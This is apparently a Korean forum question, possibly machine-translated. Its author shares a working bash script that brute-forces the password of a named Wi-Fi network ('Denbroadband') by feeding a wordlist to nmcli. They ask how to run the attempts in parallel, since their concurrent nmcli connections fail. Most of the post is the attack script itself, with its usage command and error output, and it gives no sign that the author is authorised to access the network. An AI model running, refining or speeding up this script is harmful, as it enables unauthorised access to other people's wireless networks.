Nmcli는 멀티스레딩을 사용하여 Wi-Fi 네트워크에 연결합니다.

Nmcli는 멀티스레딩을 사용하여 Wi-Fi 네트워크에 연결합니다.

저는 최근 nmcli를 사용하여 명령줄 인터페이스(CLI)에서 WiFi 네트워크에 직접 연결할 수 있다는 사실을 발견했습니다. 이것은 우리가 무차별 대입 스크립트를 개발하기 위해 이것을 이용할 수 있는지 궁금합니다. 제공된 코드 조각은 제가 수행하려는 일반적인 프로세스를 보여줍니다.

connect_to_wifi() {
    local ssid="$1"
    local password="$2"
    
    echo -e "\e[92mTrying Password: $password\e[0m"
    # Establish connection to WiFi network using nmcli
    sudo nmcli device wifi connect "$ssid" password "$password" > /dev/null 2>&1

    # Check connection status
    if [ $? -eq 0 ]; then
        echo ""
        echo -e "\e[33mSuccessfully connected to $ssid with password $password\e[0m"
        exit 0
    else
        return 1
    fi
}

bruteforce_wifi() {
    local ssid="$1"
    local password_file="$2"

    # Verify if SSID is provided
    if [ -z "$ssid" ]; then
        echo "Error: SSID is empty."
        exit 1
    fi
    
    # Use default password file if not specified
    password_file="${password_file:-pass.txt}"

    # Check existence of file
    if [ ! -f "$password_file" ]; then
        echo "Error: File $password_file not found."
        exit 1
    fi
        
    # Read passwords from file and attempt WiFi connection
    while IFS= read -r password; do
        connect_to_wifi "$ssid" "$password"
    done < "$password_file"
}

이제 이 bruteforce_wifi기능은 원하는 SSID에 대해 무차별 대입 공격을 시작할 수 있습니다 bruteforce_wifi Denbroadband pass.txt. 예를 들어 이 명령은 성공적으로 실행되어 각 비밀번호를 하나씩 차례로 시도합니다.

그런데 스레드를 구현하려고 할 때 문제가 발생합니다.

sudo nmcli device wifi connect Denbroadband password 238112120 & # '&' is used to place it in the background
sudo nmcli device wifi connect Denbroadband password 329814298

두 번째 명령의 출력은 다음과 같습니다.Error: Connection activation failed: New connection activation was enqueued.

이 문제에 대한 잠재적인 해결 방법을 알아보고 싶습니다. 또한 핸드셰이크가 캡처되지 않고 나중에 무차별 대입 공격으로 크랙되는 이유를 묻는 사람이 있다면, 제 호기심은 핸드셰이크에 의존하지 않는 WiFi 네트워크에서 전통적인 무차별 대입 방법이 가능한지 여부를 아는 데 있다는 점에 주목할 가치가 있습니다.

관련 정보